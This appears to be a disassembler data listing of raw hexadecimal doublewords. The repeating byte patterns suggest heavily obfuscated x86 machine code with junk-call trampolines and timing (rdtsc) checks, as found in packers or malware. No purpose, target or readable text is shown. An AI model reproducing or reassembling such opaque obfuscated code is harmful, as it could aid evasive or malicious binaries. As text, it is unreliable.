		dd 6A07E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BD8B25C3h, 7E9081Dh, 0C3195FFh, 6A07E9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 84FE54C3h, 0E4793565h, 60C78166h, 0B0FE8B54h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0C72C8AD9h, 25BD8BE3h, 0E607E916h, 53006A70h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 78B68491h, 0BEA40A16h, 2C13D8B3h, 850F71E4h,	6, 151D9509h
		dd 613C07E9h, 1CD830Fh,	0BD290000h, 7E90FE5h, 81D8B60Fh
		dd 679C85EEh, 6BA69h, 0B58B0000h, 7E90AC9h, 6AC38Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 4BAB2C3h, 146BE337h,	0C17DAFCCh, 6E804E8h, 5A000000h
		dd 9C1D8946h, 0EBC781B5h, 5F1EFF5Dh, 1871BD89h,	0F76607E9h
		dd 53006AE2h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 5E70F916h, 8B66C18Eh, 28C0FF1h, 8B000000h
		dd 0E8D82BF7h, 6, 12396217h, 830F28DAh,	2, 585FF08Bh, 13BD9589h
		dd 0D82B07E9h, 11D880Fh, 81660000h, 0B968F8D6h,	7, 0FFD4BE66h
		dd 1AAD9D89h, 0C18307E9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0D93B9A8Eh
		dd 0E1860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 66034EC3h, 6AD98Ch, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0F6C953C3h
		dd 840F04C1h, 93h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0A6C35646h, 0A2A99914h, 0BF665873h, 95FFA428h
		dd 7E90059h, 1BE429BEh,	6A5B5Eh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 8686B8C3h, 9B54FFB4h
		dd 0FBB70F5Ah, 0B529C32Bh, 7E92D4Dh, 8343Dh, 28860F00h
		dd 0F000000h, 28E9FEB7h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 63DEC353h
		dd 8BFC5452h, 9DBD8BC0h, 8B07E925h, 6AD88BC3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 313AC350h, 0E906FDB5h, 0E9BE6607h, 1185C7FCh, 0B307E919h
		dd 0F853D1D5h, 6AC08Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 8BE543C3h, 527EAC52h, 815FF08Bh
		dd 0E92AD1BDh, 7D007h, 2B850F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0ECCC351h, 85FF1371h, 7E92AD1h, 0C35BD89h, 0B5FF07E9h
		dd 7E92AD1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	68C35040h, 0C8314C0h, 2A19393Bh, 171D8589h, 95FF07E9h
		dd 7E90C31h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0C5C35141h, 0BEFB35EFh,	3C43DC0Ah, 0E890F944h
		dd 0Fh,	873B824Dh, 41C50563h, 20918EAEh, 9AA1459h, 0E9020595h
		dd 6A5F07h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 31E40EC3h, 0E91C15BDh, 0D9EF8107h, 8B79B1C6h
		dd 0E90ABDB5h
		dd 8B535707h, 0E91275BDh, 81665F07h, 5E5BBCEFh,	0AB99529h
		dd 0B70F07E9h, 50006AFFh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0C68768D3h, 53601103h
		dd 1AC18523h, 895B07E9h, 0E9264DB5h, 6E86107h, 4D000000h
		dd 0D0E18167h, 7D9D898Dh, 5F07E925h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0E5C35545h,	0F05F6275h, 91F37BF6h
		dd 1E5BBED3h, 840F63D9h, 6, 10818D29h, 0BD2907E9h, 7E90975h
		dd 269D9529h, 6AF907E9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 9278C351h, 9973B932h
		dd 0F814E9CEh, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 6E930C3h, 62000000h, 7D782333h
		dd 890F1Ah, 8B000000h, 56006AC1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0E10DE2BAh, 20BE6664h
		dd 0B86660B1h, 5E82C3Fh, 11000000h, 577A7C80h, 14DF8166h
		dd 0EB615FD5h, 4, 0CD8D8900h, 8907E913h, 0E92F89BDh, 858DF907h
		dd 7E90861h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	19C35141h, 335B58Bh, 8B9007E9h,	669050F1h, 1214C781h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0BD2ACDC3h, 663B4D7Dh, 6AFE8Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 81C35343h, 6B32A409h
		dd 48674E85h, 8DF38B5Fh, 0ED42A285h, 52006A07h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 81B48019h
		dd 8BFA8B66h, 0E91B81BDh, 5C08307h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 9C35343h, 85A48A41h, 0B70F6CE1h
		dd 0BD8B60F1h, 7E91FA1h, 61C0BF0Fh, 3185BD89h, 0E89007E9h
		dd 12h,	0C2AF0B4Fh, 0FA7384BCh,	84D51073h, 12D58E2Ah, 0FA8B8C3Eh
		dd 5057505Fh, 850F52h, 0F000000h, 5A5F5731h, 0E9905F58h
		dd 0Fh,	989FCBB9h, 3BF84F84h, 0D7593545h, 6A902F20h, 3830F00h
		dd 0F000000h, 6AFAB7h, 7E9h, 10097500h,	0C5C671EBh, 0FB995FFh
		dd 9D8D07E9h, 7ECD72Ch,	0BE8h, 0B4B07E00h, 8FEE8BF1h, 0EC5FEE5Bh
		dd 2FE5BD8Bh, 0FF5F07E9h, 50006AD3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 1AE0029Eh
		dd 850Fh, 85FF0000h, 7E90F9Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 50C35343h, 0A13CCE0Bh, 859AEE1Ch
		dd 7D6E9h, 0E800h, 815D0000h, 0ED42ACEDh, 619D8907h, 8107E916h
		dd 0E92AD1BDh, 7D007h, 0C860F00h, 0E8000001h, 0Ch, 37E01506h
		dd 0A1F6E66Fh, 2A91B856h, 2CD1BD8Bh, 8B5F07E9h,	0E920199Dh
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0FEB70F60h, 100E381h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0F4CBE0C3h
		dd 0BA1B185h, 7D850FDBh, 8B000000h, 0E93209BDh,	0DBBD8307h
		dd 7ED40h, 17840Fh, 6FE90000h, 8B000000h, 2B6052FBh, 0E912E185h
		dd 2D950107h, 6107E919h, 0DB85C75Eh, 107ED40h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 9FD5C357h, 0F3478A22h, 2BE90CBDh,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0BF02C357h, 1C43BFEBh, 40DB85C7h,	7EDh, 9D8D0000h
		dd 7E92019h, 6E9h, 3B071100h, 81BAEAAAh, 0FFFEFF23h, 66F78BFFh
		dd 6ADB8Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 66A97EC3h, 0C3F6F98Bh, 3E840F04h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0CCD6C351h, 0FFA553F1h, 0E9005995h, 91B58B07h
		dd 5007E935h, 0B5525060h, 8B310F60h, 61585AF1h,	8B240489h
		dd 407E9F1h, 0BD8B0000h, 7E92195h, 6A00B0h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 173FF3C3h
		dd 5284F300h, 30698D89h, 0BF5F07E9h, 5BDFD6B6h,	84C68166h
		dd 6A70E6BBh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 4CC9C356h, 0A36CDE00h,	2B71E4F8h
		dd 0E917D5B5h, 0D8B60F07h, 1D29B50Bh, 6BA07E9h,	2B000000h
		dd 0E9013DBDh, 66C38B07h, 1842EE81h, 8104E8C1h,	393A46C7h
		dd 0E2F76640h, 243DBD8Bh, 0B58907E9h, 7E90B15h,	0F781D82Bh
		dd 6A905654h, 0F88B6693h, 66525050h, 310FF38Bh,	585A5E53h
		dd 50006A93h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0D1B5FF5Ch, 6A07E92Ah, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0A0EBC353h
		dd 42EA405h, 0D4BF32DBh, 0FF1D3070h, 0E90C3195h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9D01D734h, 7E91199h,	0EE800B0h, 0E1000000h, 0EE0A0038h
		dd 39253B18h, 0DCB42D53h, 718D2945h, 5F07E905h,	6A70E6h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0F6BFAEC3h, 71EF8166h, 2840F6Ah, 8B000000h, 6A71E4F0h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 8F63C355h, 1FADB58Bh, 0BD8B07E9h,	7E90C79h
		dd 830F613Ch, 265h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 82C35747h, 68B0F77h, 89000000h, 0E90711BDh
		dd 0C1BD8B07h, 0F07E921h, 0B589D8B6h, 7E93501h,	6BAh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8BB2A570h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0F6816687h, 0E8C1FE82h, 59BD8B04h
		dd 6607E91Dh, 6AE2F7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0BB0EB6C3h, 0CCA31930h, 0F78B7C8Ch
		dd 9359509h, 0D82B07E9h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 0EBC35242h, 6A585F57h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 2BFEC355h
		dd 6A880FD8h, 53000001h, 0BE8h,	0BCDC200h, 0B4234F35h
		dd 7DFCF83Ah, 225167BFh, 0B95F5F33h, 7,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 7BC35343h, 728D42DCh
		dd 25BD03A1h, 6607E90Fh, 0C183F78Bh, 0D7816600h, 0D93B788Dh
		dd 113860Fh, 81660000h,	60AB58D7h, 2A959D89h, 858B07E9h
		dd 7E90909h, 0D98C6661h, 831BD89h, 0C1F607E9h, 0DE840F04h
		dd 8B000000h, 0E907E5B5h, 5995FF07h, 6A07E900h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0F5A3C353h, 66EA5501h, 6A5BF18Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 85B1C351h
		dd 0FBBDF06Ch, 8ADBCE81h, 9529147Ah, 7E909B9h, 1FEDBD8Bh
		dd 0C32B07E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	38C35242h, 89FFBF0Fh, 0E92EED9Dh, 8343D07h, 860F0000h
		dd 49h,	21819D89h, 4EE907E9h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0BF9FC355h
		dd 9F806A31h, 0FC07A27h, 12E9F6B7h, 0BE000000h,	59F5EB04h
		dd 56B66A17h, 0D7A8E2B7h, 0B57BE0A9h, 0E9C08B81h, 9, 951388F3h
		dd 8CE5AA5Ch, 8BC38B07h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0FA8B8084h, 0C8D85C7h
		dd 5F3D07E9h, 6A74B4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8B322CC3h, 0E92CB5BDh, 0BE907h
		dd 50E50000h, 8B766E5Eh, 6F28FC55h, 6AC08B21h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 8595C356h, 0AA89CD48h, 81F4CAA0h, 0E92AD1BDh, 7D007h
		dd 12850F00h, 8B000000h, 0E90C29B5h, 0D185FF07h, 8907E92Ah
		dd 0E92585B5h, 0D1B5FF07h, 0F07E92Ah, 682h, 89CE8100h
		dd 0FF3DDFBDh, 0E90C3195h, 0DB58B07h, 9007E90Fh, 7E59589h
		dd 858907E9h, 7E91C55h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0DBC35646h, 5079B958h, 0DA49202h, 6AF8BF0Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 77C4C355h, 0CE8E788h, 5E000000h, 0E96D97EBh
		dd 8FEF0D7h, 89387165h,	0E91B6585h, 95895E07h, 7E90089h
		dd 2F61B58Bh, 0BF6607E9h, 6A0F05h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0B3E47FC3h, 8509FCB3h
		dd 7E90031h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0F1C35646h, 0E928A61Eh,	0B58BFCC4h, 7E91359h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 52C35343h, 2095B529h
		dd 0BF0F07E9h, 8BF88BF0h, 0E92ABDB5h, 0D6816607h, 6A385Eh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 7C26C8C3h, 5C64ACA0h, 3BE662Bh, 13E984h, 85840000h
		dd 14B39781h, 6704EA34h, 2AC73D6Eh, 61AA80EFh, 56E9F859h
		dd 6AFFFFF8h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 53DCC353h, 33E32C66h, 0E92D39B5h
		dd 0A9B50B07h, 6007E90Dh, 1605B58Bh, 0FEB907E9h, 8BFFFFFFh
		dd 1D8D21DEh, 6A07E918h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0E3A1C357h,	0F3C2842Dh
		dd 0B589654Eh, 7E92221h, 1DD98D21h, 6A07E9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 7E50C5C3h
		dd 958B359Ah, 7E93145h,	8D8BC38Bh, 7E9181Dh, 2D58D29h
		dd 0E18307E9h, 2850F01h, 8A000000h, 0D98D8BE7h,	6A07E91Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 9846C350h, 34419D8Bh, 0E18307E9h,	6850F01h
		dd 1000000h, 0E9260D9Dh, 0F606107h, 58Dh, 8B665300h, 0C8815FFEh
		dd 6E9CE2D4h, 0FFFFFEB9h, 899589FFh, 2107E90Fh,	0E911B98Dh
		dd 0B5016007h, 7E91171h, 35919529h, 0F6107E9h, 1682h, 11E900h
		dd 0FE7E0000h, 0D0BEA18Eh, 0EBB58580h, 0E98044A4h, 21012C2Ch
		dd 0E91E5D8Dh, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 8BE78AF9h, 0E911B98Dh
		dd 499D2907h, 8307E935h, 850F01E1h, 5, 8BF98B66h, 5D8D8BC7h
		dd 3107E91Eh, 0E90C8585h, 1E18307h, 17850Fh, 12E90000h
		dd 0E000000h, 62020000h, 0AFF4C5F6h, 0EE5CB9D5h, 0B9E89CDAh
		dd 6A606169h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8B96C356h, 0E9265D9Dh,	0FFFEB907h
		dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0EAA3CFC3h, 0BDB53379h, 2107E92Fh, 0E92FE18Dh
		dd 999D8B07h, 2107E90Dh, 0E919118Dh, 51006A07h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 95896A8Bh
		dd 7E92A8Dh, 8D8BE78Ah,	7E92FE1h, 13E8h, 129DEC00h, 31E97F36h
		dd 0D411FC6Ch, 0EC4B6757h, 2379AA48h, 1F1958Bh,	835B07E9h
		dd 850F01E1h, 6, 298DBD29h, 8D8B07E9h, 7E91911h, 0E0B7DA81h
		dd 0E1831ECAh, 0B850F01h, 0F000000h, 585h, 0E3816600h
		dd 606180FFh, 0EE59529h, 0FEB907E9h, 6AFFFFFFh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 6A10C350h, 3AB19CF9h, 212CA453h, 0E90C8D8Dh,	51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 71ECC27Fh, 58C7CB81h, 8D211D85h, 7E92019h, 1FF1858Bh
		dd 0B58907E9h, 7E9025Dh, 0C8D8D8Bh, 0E18307E9h,	1C850F01h
		dd 0F000000h, 1689h, 0CE800h, 0A1590000h, 0D2D8217h, 8119AE52h
		dd 0BA66B4A3h, 8B5B8EEEh, 0E920198Dh, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 50D648E8h, 83FC5AF9h, 850F01E1h, 38h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 0FAC35747h, 88FFB8C4h
		dd 13E9h, 1FC4EF00h, 0CE0FB28Ah, 63F27E78h, 6218CF86h
		dd 0B25D74E4h, 6A6061h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0B5E78AC3h, 0F3B24655h, 8166E33Eh
		dd 0C7CFC4C7h, 0E92AD185h, 7D007h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0DA74DBD6h
		dd 9D89057Ah, 7E91255h,	35918D03h, 6A6107E9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 8715C357h, 3528B2ADh, 0B52906CEh, 7E91E0Dh, 9D6107EBh
		dd 0E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 3DD8F65Fh, 6E11F81h, 2ECC80FFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 66C35242h, 4B03A0F9h
		dd 34B98D8Bh, 8BF807E9h, 75E9C1h, 66600000h, 4A8D88Ch
		dd 35840Fh, 16A0000h, 2669B5FFh, 858D07E9h, 7EC9FDBh, 8589D0FFh
		dd 7E912E5h, 0EFC1FE8Bh, 680Ch,	6A2004h, 6857026Ah, 1000Dh
		dd 12E595FFh, 32E907E9h, 0C6000000h, 0E9265985h, 0DF685607h
		dd 0FFA9C530h, 0E90B11B5h, 0DB858D07h, 0FF07EC9Fh, 2D8589D0h
		dd 8D07E91Bh, 0E9258985h, 206A5007h, 0FF56056Ah, 0E91B2D95h
		dd 0C1C36107h, 4FEB06E0h, 0FA251C8Fh, 0C6A108ABh, 1CA4ACDAh
		dd 5C5CD2D4h, 34CE00E4h, 0CE1BF531h, 0D129B327h, 0C7DD5B34h
		dd 0CE17E62Ah, 6734DF1Bh, 8400A6DBh, 9F00436Eh,	0DC80BAh
		dd 54000000h, 0FEB41Bh,	0FBFE3400h, 87000000h, 2352DDB4h
		dd 19ED920h, 0E97C809Eh, 11E9h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 81C35545h, 8B60376Eh, 0E90E31BDh
		dd 61C78A07h
		dd 1B69BD83h, 0F0007E9h, 9D85h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 7F182295h
		dd 0F52B911Bh, 188A0Fh,	10E80000h, 0F9000000h, 7DCDF413h
		dd 677612DDh, 7D74660h,	50A85651h, 0B85959h, 0E8000000h
		dd 14h,	0D68A92Fh, 2EBDB55Fh, 70AA7903h, 0FA40F039h, 753DA402h
		dd 97927CBAh, 4C25A64h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 5351C3F5h, 2B818D89h
		dd 595907E9h, 60F88B66h, 89DEEF80h, 0E9106DBDh,	0C08B6107h
		dd 12E9h, 4EA00E00h, 65A4EAD4h,	7E14CD15h, 281E1B76h, 83459D31h
		dd 0E918A5BDh, 9750007h, 1A45BD83h, 740007E9h, 8B535013h
		dd 4D0B8C0h, 9D8D0000h,	7EBD5A2h, 585BD3FFh, 1A45BD83h
		dd 740007E9h, 0B8535011h, 4D0h,	0D4EF9D8Dh, 0D3FF07EBh
		dd 0BD29585Bh, 7E92201h, 12E8C08Bh, 0E0000000h,	5533BCDFh
		dd 5428CBD4h, 0DD2FA3C2h, 693759Ch, 75952949h, 5907E912h
		dd 2FA1BD89h, 858D07E9h, 7ED4F71h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0A0C35040h,	0DA91C8E0h, 0EE9h
		dd 0BE5BBF00h, 0CAFDF6EAh, 3DDDD60Fh, 50C92CB4h, 13E8h
		dd 35EFF00h, 0E235E4A9h, 20D2E9AEh, 46207810h, 0C40C1E97h
		dd 895A7EB6h, 85292404h, 7E90DD5h, 4F2E858Dh, 6A07EDh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E806C8C3h, 0Bh, 0E4009226h,	6B0A9712h, 8BE45B7Dh, 0E90F49BDh
		dd 9D895907h, 7E9209Dh,	894FB650h, 0BD892404h, 7E91661h
		dd 17E195FFh, 8D8907E9h, 7E91AE9h, 424448Bh, 89CFB70Fh
		dd 0ED4F5985h, 12E907h,	0F1B0000h, 8DB7B791h, 0D885A515h
		dd 11222462h, 0C933F042h, 824448Bh, 0FB8B6652h,	918D8B59h
		dd 8907E920h, 0ED4F6D85h, 0B98D8B07h, 8307E921h, 0E92EDDBDh
		dd 850F0007h, 0D0h, 68E0Fh, 850F0000h, 0
aEySGj		db 'Æ…Y&é',7,'Gj',0
		db 56h,	0E8h, 3
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 68A5C356h, 32B04C59h, 6866B99Fh, 9389AABAh, 48C0Fh
		dd 51510000h, 4815959h,	10FD1824h, 6870F41h, 1000000h
		dd 0E9310DBDh, 11B5FF07h, 6A07E90Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0FFA9C356h
		dd 0E99D2973h, 0E807E91Bh, 0Dh,	0DD006133h, 4D3A13B7h
		dd 0CE7C5442h, 0CB8B66EFh, 0DB858D5Ah, 6A07EC9Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 88F1C356h, 89D623D1h, 1071B589h, 0D0FF07E9h,	2EDD8589h
		dd 0D4B507E9h, 2489BD83h, 0F0007E9h, 0DE85h, 0B70FF800h
		dd 5985C6D6h, 4707E926h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 0DDC35141h, 0E483CA81h, 4E8323Ch, 0E2000000h
		dd 8A8A0FB5h, 0C88B50CEh, 424448Bh, 0E2BA5250h,	0F7D6556h
		dd 51525031h, 0F310F5Ah, 8Fh, 5A585A00h, 8B008B58h, 244489FBh
		dd 58FA8B04h, 0DE9h, 4D6F8400h,	0C4CC5B25h, 59B2641Ah
		dd 0DE807916h, 11B5FF79h, 6A07E90Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 87F7C353h
		dd 850160FFh, 7E90321h,	0DB858D61h, 6A07EC9Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 3FC8C352h, 124F852h,	0E91DCD85h, 89D0FF07h, 0E900F995h
		dd 89858907h, 8307E924h, 0E90145BDh, 850F0007h,	92h, 1C29958Bh
		dd 85C607E9h, 7E92659h,	68FE8B56h, 0B145F7EBh, 0B8E0Fh
		dd 50600000h, 5A310F52h, 0C68B6658h, 24048161h,	22D9754Eh
		dd 11B5FFFCh, 6007E90Bh, 15658D8Bh, 0C28A07E9h,	12E68061h
		dd 9FDB858Dh, 7E907ECh,	26000000h, 8C105486h, 0D0FFC8C0h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B2C35646h
		dd 3104AC40h, 0EE6A7FA1h, 0F88B66B8h, 54EA8166h, 458589FBh
		dd 0F07E901h, 58Ah, 0E7816600h,	85C6AA38h, 7E92659h, 0AD85896Ch
		dd 0E807E91Eh, 4, 0DB057083h, 0F98B6650h, 424448Bh, 0D63BF66h
		dd 5250008Bh, 0FF88B66h, 5ACE8B31h, 24448958h, 7E804h
		dd 0BC3F0000h, 9D54A913h, 76B8604Ah, 8A2E159Dh,	585F61C3h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 5CC35646h
		dd 7185A0Bh, 2669B5FFh,	8DF907E9h, 0E93ABC85h, 27C1BA07h
		dd 0D0FF2982h, 29D1BD8Bh, 858907E9h, 7ED4F5Dh, 35498509h
		dd 0BD8307E9h, 7ED4F79h, 0AF850F00h, 8B000000h,	0E925298Dh
		dd 6830F07h, 29000000h,	0E90C1185h, 5985C607h, 4907E926h
		dd 3810Fh, 8B660000h, 4E8CEh, 29E90000h, 0B9668C15h, 0B250AB98h
		dd 24448B3Ah, 11E904h, 172D0000h, 0A4968C1Eh, 9DA11F41h
		dd 0A5D573B5h, 8BFFFF45h, 118B900h, 44894F9Bh, 0F78A0424h
		dd 0FFC88B58h, 0E92669B5h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0BE13BBFFh
		dd 0AE9h, 23F7800h, 253057F7h, 8D26D940h, 0E93ABC85h, 0ED958907h
		dd 0FF07E90Eh, 31C3BFD0h, 85891807h, 7ED4F79h, 21C19589h
		dd 46A07E9h, 6800Fh, 0BD8B0000h, 7E90CF9h, 4E8h, 100000h
		dd 8E900h, 0F1580000h, 0EEBDF567h, 8B50EDC9h, 50042444h
		dd 52506052h, 585A310Fh, 830Fh,	0F610000h, 5AD78B31h, 89008B58h
		dd 8A042444h, 6A58D3h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 738EEC3h, 904882A8h, 14E881C3h
		dd 33000000h, 5842E9FEh, 438A536h, 0CE95153Dh, 958EEA26h
		dd 66432FE9h, 5A1D4DBFh, 8502E6BAh, 5C266870h, 5250AD46h
		dd 0F525060h, 61585A31h, 0DEB9310Fh, 5A59DA3Fh,	24048158h
		dd 52BAA3DAh, 2341B529h, 8A0F07E9h, 6, 2EB18D09h, 6A07E9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 15C35141h
		dd 95FFF5F9h, 7E91B01h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0D9C35141h, 457AB6Dh,	82F49272h, 6985899Ch
		dd 0F07ED4Fh, 85C7FEB7h, 7ED4F61h, 0
		dd 9BD2350h, 5907E916h,	6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 9847AC3h, 0E9269195h
		dd 4E807h, 0
		dd 8F0F0001h, 0
		dd 8BCB8A50h, 0E8042444h, 10h, 99E32D10h, 18636C9Eh, 2F9F3896h
		dd 0FF405BD9h, 60008B5Ah, 61D88B66h, 4244489h, 11E8h, 0FEAA8700h
		dd 0F7C78002h, 33C57F02h, 0BA60CB0Ch, 8B66E6CAh, 8B585FFBh
		dd 0E935018Dh, 52505007h, 38F0Fh, 8B660000h, 8B310FD7h
		dd 89585AD1h, 0F5802404h, 88DA81AFh, 6A241A37h,	138A0F0Bh
		dd 0E8000000h, 0Bh, 96E534C5h, 3F333E43h, 5672A857h, 858D5F5Fh
		dd 7ED4F36h, 20860F90h,	0E8000000h, 0Ch, 0A4B60819h, 0B43C1361h
		dd 7C8A89EDh, 8E8h, 239AB400h, 0D17684D1h, 505F5F01h, 11E95250h
